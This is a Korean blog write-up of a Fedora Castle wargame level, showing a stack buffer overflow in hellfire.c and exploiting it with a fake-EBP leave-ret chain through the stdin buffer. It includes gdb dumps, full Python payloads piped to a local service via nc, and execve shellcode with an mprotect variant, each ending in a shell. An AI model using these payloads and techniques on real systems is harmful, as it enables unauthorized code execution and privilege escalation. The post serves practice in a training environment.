2017. 11. 28. 21:33ㆍSystemHacking/Fedora Catle
dark_eyes / because of you
[ hellfire.c ]
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 | #include <stdio.h> int main() { char buffer[256]; char saved_sfp[4]; char temp[1024]; printf("hell_fire : What's this smell?\n"); printf("you : "); fflush(stdout); // give me a food fgets(temp, 1024, stdin); // save sfp memcpy(saved_sfp, buffer+264, 4); // overflow!! strcpy(buffer, temp); // restore sfp memcpy(buffer+264, saved_sfp, 4); printf("%s\n", buffer); } | cs |
이전 문제와 마찬가지로 saved ebp 부분이 항상 일정하도록 유지되어 있습니다
fgets로 문자열을 입력받는 부분에서 오버플로우가 발생합니다
[ 소스코드 분석 ]
0x08048484 <main+0>: push ebp
0x08048485 <main+1>: mov ebp,esp
0x08048487 <main+3>: sub esp,0x518
0x0804848d <main+9>: and esp,0xfffffff0
... (생략) ...
0x080484a6 <main+34>: push 0x8048644
0x080484ab <main+39>: call 0x80483ac <_init+88> printf
0x080484b0 <main+44>: add esp,0x10
0x080484b3 <main+47>: sub esp,0xc
0x080484b6 <main+50>: push 0x8048664
0x080484bb <main+55>: call 0x80483ac <_init+88> printf
0x080484c0 <main+60>: add esp,0x10
0x080484c3 <main+63>: sub esp,0xc
0x080484c6 <main+66>: push ds:0x8049784
0x080484cc <main+72>: call 0x804837c <_init+40> fflush()
0x080484d1 <main+77>: add esp,0x10
0x080484d4 <main+80>: sub esp,0x4
0x080484d7 <main+83>: push ds:0x8049788 <-- fgets가 사용하는 Data Section주소
0x080484dd <main+89>: push 0x400
0x080484e2 <main+94>: lea eax,[ebp-1304]
0x080484e8 <main+100>: push eax
0x080484e9 <main+101>: call 0x804838c <_init+56> fgets( tmp,1024,stdin )
0x08048514 <main+144>: lea eax,[ebp-1304]
0x0804851a <main+150>: push eax
0x0804851b <main+151>: lea eax,[ebp-264]
0x08048521 <main+157>: push eax
0x08048522 <main+158>: call 0x80483cc <_init+120> strcpy(buffer,temp)
[ Stack ]
temp 1024byte
saved_sfp 4byte
dummy 16byte
buffer 256byte
dummy 8byte
saved ebp 0xfee2d628
saved eip
< 풀이 과정 > Cache Memory & fake ebp 이용
1> saved ebp는 항상 고정값이다 ( 주소 : 0xfee2d628 )
=> 해당 주소의 값을 변조하여서 fake ebp로 활용한다
[ 입력값 ]
[dark_eyes@Fedora_1stFloor ~]$ python -c 'print "A" * 268 + "BBBB" + "A"*88 + "CCCC" + "DDDD"' AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACCCCDDDD |
[ gdb ]
[dark_eyes@Fedora_1stFloor ~]$ cp hell_fire hell_fire.cp
[dark_eyes@Fedora_1stFloor ~]$ gdb -q hell_fire.cp
(no debugging symbols found)...Using host libthread_db library "/lib/tls/libthread_db.so.1".
(gdb) set disassembly-flavor intel
(gdb) disas main
0x08048484 <main+0>: push ebp
0x08048485 <main+1>: mov ebp,esp
0x08048487 <main+3>: sub esp,0x518
... (생략) ...
0x08048561 <main+221>: leave
0x08048562 <main+222>: ret
# run 으로 실행한 뒤 위에서 출력한 문자열을 입력하였다
Breakpoint 1, 0x08048561 in main ()
(gdb) x/24x $ebp
saved ebp saved eip ( &leaveret )
0xfee2d5c8: 0xfee2d628 0x42424242 0x41414141 0x41414141
0xfee2d5d8: 0x41414141 0x41414141 0x41414141 0x41414141
0xfee2d5e8: 0x41414141 0x41414141 0x41414141 0x41414141
0xfee2d5f8: 0x41414141 0x41414141 0x41414141 0x41414141
0xfee2d608: 0x41414141 0x41414141 0x41414141 0x41414141
0xfee2d618: 0x41414141 0x41414141 0x41414141 0x41414141
fake ebp saved eip ( &leaveret )
0xfee2d628: 0x43434343 0x44444444 0x0804000a 0x08048484
[ Stack ]
buffer 256byte
dummy 8byte
saved ebp 0xfee2d628
saved eip &leaveret 1
"A" * 88
fake ebp
&leaveret 2
[ 동작과정 ]
[1] leave 1
mov esp,ebp
pop ebp => EBP: 0xfee2d628
=> ESP: 0xfee2d62c
[2] ret 1
pop eip => EIP: 0xfee2d62c ( &leaveret 2 )
[3] leave 2
mov esp,ebp => ESP: fake ebp
pop ebp => EBP: Fake ebp
=> ESP: Fake ebp+4
[4] ret 2
pop eip => pop Fake ebp+4
이후에 어떤 코드를 작성해서 문제를 풀어야 하는지 감이 오셨나요 ?
Fake ebp+4 지점에 execve()함수나 system()함수와 같이 명령어를 실행시키는 함수의 라이브러리 주소를 입력해주도록 코드를 작성하여야 합니다
우선 Fake ebp 지점을 어느 곳으로 정하여야 하는지 정하여야 합니다 ! 변하지 않는 주소값이여야 execve()함수에 인자로 넣어 줄 수 있습니다
fgets()함수가 사용하는 Data Section( Cache Memory )을 이용하도록 합니다
fgets로 입력받는 입력값들은 Cache Memory에 저장된 다음 변수에 저장되어 진다
2> Fake ebp로 사용할 주소 및 인자 구성하기
[ disas main ]
0x080484d7 <main+83>: push ds:0x8049788 <-- fgets가 사용하는 Data Section주소
0x080484dd <main+89>: push 0x400
0x080484e2 <main+94>: lea eax,[ebp-1304]
0x080484e8 <main+100>: push eax
0x080484e9 <main+101>: call 0x804838c <_init+56> fgets( tmp,1024,stdin )
[ gdb 분석 ]
(gdb) x/4x 0x8049788
0x8049788 <stdin@@GLIBC_2.0>: 0x0083f720 0x00000000 0x00000000 0x00000000
(gdb)
0x8049798: 0x00000000 0x00000000 0x00000000 0x00000000
(gdb) x/4x 0x0083f720
0x83f720 <_IO_2_1_stdin_>: 0xfbad2288 0xf6ffe16d 0xf6ffe16d 0xf6ffe000
(gdb) x/24x 0xf6ffe000
0xf6ffe000: 0x41414141 0x41414141 0x41414141 0x41414141
0xf6ffe010: 0x41414141 0x41414141 0x41414141 0x41414141
0xf6ffe020: 0x41414141 0x41414141 0x41414141 0x41414141
0xf6ffe030: 0x41414141 0x41414141 0x41414141 0x41414141
0xf6ffe040: 0x41414141 0x41414141 0x41414141 0x41414141
0xf6ffe050: 0x41414141 0x41414141 0x41414141 0x41414141
(gdb)
0xf6ffe060: 0x41414141 0x41414141 0x41414141 0x41414141
0xf6ffe070: 0x41414141 0x41414141 0x41414141 0x41414141
0xf6ffe080: 0x41414141 0x41414141 0x41414141 0x41414141
0xf6ffe090: 0x41414141 0x41414141 0x41414141 0x41414141
0xf6ffe0a0: 0x41414141 0x41414141 0x41414141 0x41414141
0xf6ffe0b0: 0x41414141 0x41414141 0x41414141 0x41414141
(gdb)
0xf6ffe0c0: 0x41414141 0x41414141 0x41414141 0x41414141
0xf6ffe0d0: 0x41414141 0x41414141 0x41414141 0x41414141
0xf6ffe0e0: 0x41414141 0x41414141 0x41414141 0x41414141
0xf6ffe0f0: 0x41414141 0x41414141 0x41414141 0x41414141
0xf6ffe100: 0x41414141 0x41414141 0x41414141 0x42424242 <-- saved eip &leaveret
0xf6ffe110: 0x41414141 0x41414141 0x41414141 0x41414141
(gdb)
0xf6ffe120: 0x41414141 0x41414141 0x41414141 0x41414141
0xf6ffe130: 0x41414141 0x41414141 0x41414141 0x41414141
0xf6ffe140: 0x41414141 0x41414141 0x41414141 0x41414141
0xf6ffe150: 0x41414141 0x41414141 0x41414141 0x41414141
[fake ebp] [saved eip] &leaveret
0xf6ffe160: 0x41414141 0x41414141 0x43434343 0x44444444
[&execve] [XXXX] [argv1] [argv2]
0xf6ffe170: 0x0000000a 0x00000000 0x00000000 0x00000000
[argv3]
0xf6ffe180: 0x00000000 0x00000000 0x00000000 0x00000000
fake ebp 값을 0xf6ffe16c 로 설정한다면 leaveret 이 수행될 때 ebp+4 지점에는 &execve 가 위치하고 있기때문에 execve함수가 실행된다
execve의 인자로 사용하기 위해 execve()함수의 ebp+8 , ebp+12 , ebp+16 지점에 3개의 인자를 넣어준다
3> 인자로 사용해야할 인자들의 주소
[1] /bin/sh 위치
1 2 3 4 5 6 7 8 9 10 11 12 13 | #include <stdio.h> int main (int argc, char* argv[]) { long shell; shell = 0x007507c0; while(memcmp((void *) shell, "/bin/sh", 8)) { shell++; } printf("\"/bin/sh\" is at 0x%x\n", shell); printf("printf %s\n",shell); return 0; } | cs |
[dark_eyes@Fedora_1stFloor tmp] gcc -o find find.c [dark_eyes@Fedora_1stFloor tmp]$ ./find "/bin/sh" is at 0x833603 printf /bin/sh |
[2] &execve()
(gdb) p execve $2 = {<text variable, no debug info>} 0x7a5490 <execve> |
[3] &leaveret
0x08048561 <main+221>: leave |
[4] execve() 구성
int execve(const char *filename, char *const argv [], char *const envp[]); |
[ Payload 입력 시 Cache Memory구성 ]
0xf6ffe100: 0x41414141 0x41414141 0x41414141 0x61850408 <-- &leaveret 1
0xf6ffe110: 0x41414141 0x41414141 0x41414141 0x41414141
(gdb)
0xf6ffe120: 0x41414141 0x41414141 0x41414141 0x41414141
0xf6ffe130: 0x41414141 0x41414141 0x41414141 0x41414141
0xf6ffe140: 0x41414141 0x41414141 0x41414141 0x41414141
0xf6ffe150: 0x41414141 0x41414141 0x41414141 0x41414141
[fake ebp] [&leaveret 2]
0xf6ffe160: 0x41414141 0x41414141 0x6ce1fff6 0x61850408
&execve AAAA argv1(/bin/sh)
0xf6ffe170: 0x90547a00 0x41414141 0x03368300 0x84e1fff6 <-- argv2 ( &{&/bin/sh,NULL} )
argv3(&NULL) &"/bin/sh" NULL
0xf6ffe180: 0x88e1fff6 0x03368300 0x00000000 0x0000000a
0xf6ffe190: 0x00000000 0x00000000 0x00000000 0x00000000
4> Payload 작성
[dark_eyes@Fedora_1stFloor ~]$ (python -c 'print "A" * 268 + "\x61\x85\x04\x08" + "A" * 88 + "\x6c\xe1\xff\xf6" + "\x61\x85\x04\x08"+ "\x90\x54\x7a\x00" + "AAAA" + "\x03\x36\x83\x00" + "\x84\xe1\xff\xf6" + "\x88\xe1\xff\xf6" + "\x03\x36\x83\x00" + "\x00\x00\x00\x00"';cat) | nc localhost 7777 &Null
hell_fire : What's this smell?
you :
id
uid=503(hell_fire) gid=503(hell_fire) context=user_u:system_r:unconfined_t
my-pass
euid = 503
sign me up
# /bin/sh을 직접 입력해서 사용할 수도 있다
[dark_eyes@Fedora_1stFloor ~]$ (python -c 'print "A" * 268 + "\x61\x85\x04\x08" + "A" * 88 + "\x6c\xe1\xff\xf6" + "\x61\x85\x04\x08"+ "\x90\x54\x7a\x00" + "AAAA" + "\x8c\xe1\xff\xf6" + "\x84\xe1\xff\xf6" + "\x00\x00\x00\x00" + "\x8c\xe1\xff\xf6" + "\x00\x00\x00\x00"+"/bin/sh\x00"';cat) | nc localhost 7777
hell_fire : What's this smell?
you :
id
uid=503(hell_fire) gid=503(hell_fire) context=user_u:system_r:unconfined_t
my-pass
euid = 503
sign me up
< mprotect를 이용한 문제 풀이 >
int mprotect(const void *addr, size_t len, int prot);
argv1 (시작주소) : 권한을 부여할 주소의 시작주소
argv2 (크기) : 1024 or 2048 or ...
argv3 (권한) : 0x07 ( rwx )
[ gdb - Cache Memory 구조 ]
leave :0x08048561
mprotect :0x00714670
0xf6ffe150: 0x41414141 0x41414141 0x41414141 0x41414141
[fake ebp] [saved eip](&leaveret 2)
0xf6ffe160: 0x41414141 0x41414141 0x6ce1fff6 0x61850408
saved ebp saved eip
[&mprotect] &shellcode argv1 argv2
0xf6ffe170: 0x70467100 0x84e1fff6 0x???????? 0x????????
argv3 shellcode
0xf6ffe180: 0x???????? 0xXXXXXXXX 0xXXXXXXXX ..........
0xf6ffe180: ......
[ Payload ]
[dark_eyes@Fedora_1stFloor ~]$ (python -c 'print "A" * 268 + "\x61\x85\x04\x08" + "B" * 88 + "\x6c\xe1\xff\xf6" + "\x61\x85\x04\x08" + "\x70\x46\x71\x00" + "\x84\xe1\xff\xf6" + "\x00\xe0\xff\xf6" + "\x00\x04\x00\x00" + "\x07\x00\x00\x00" + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"';cat) | nc localhost 7777
// &mprotect + &shellcode + argv1,2,3 + shellcode ; 이유는 알 수 없지만 mprotect의 첫 인자인 시작주소를 \xf6\xff\xe0\x00 으로 해주어야 한다
hell_fire : What's this smell?
you :
id
uid=503(hell_fire) gid=503(hell_fire) context=user_u:system_r:unconfined_t
my-pass
euid = 503
sign me up
'SystemHacking > Fedora Catle' 카테고리의 다른 글
FC3 ALL CLREAR (0) | 2017.12.13 |
---|---|
[5] evil_wizard -> dark_stone ( GOT Overwriting & Remote BOF ) (0) | 2017.12.01 |
[4] hell_fire -> evil_wizard ( GOT Overwriting ) (0) | 2017.11.30 |
[2] iron_golem -> dark_eyes ( RET Sleding ) (0) | 2017.11.28 |
[1] gate -> iron_golem ( Fake EBP ) (0) | 2017.11.28 |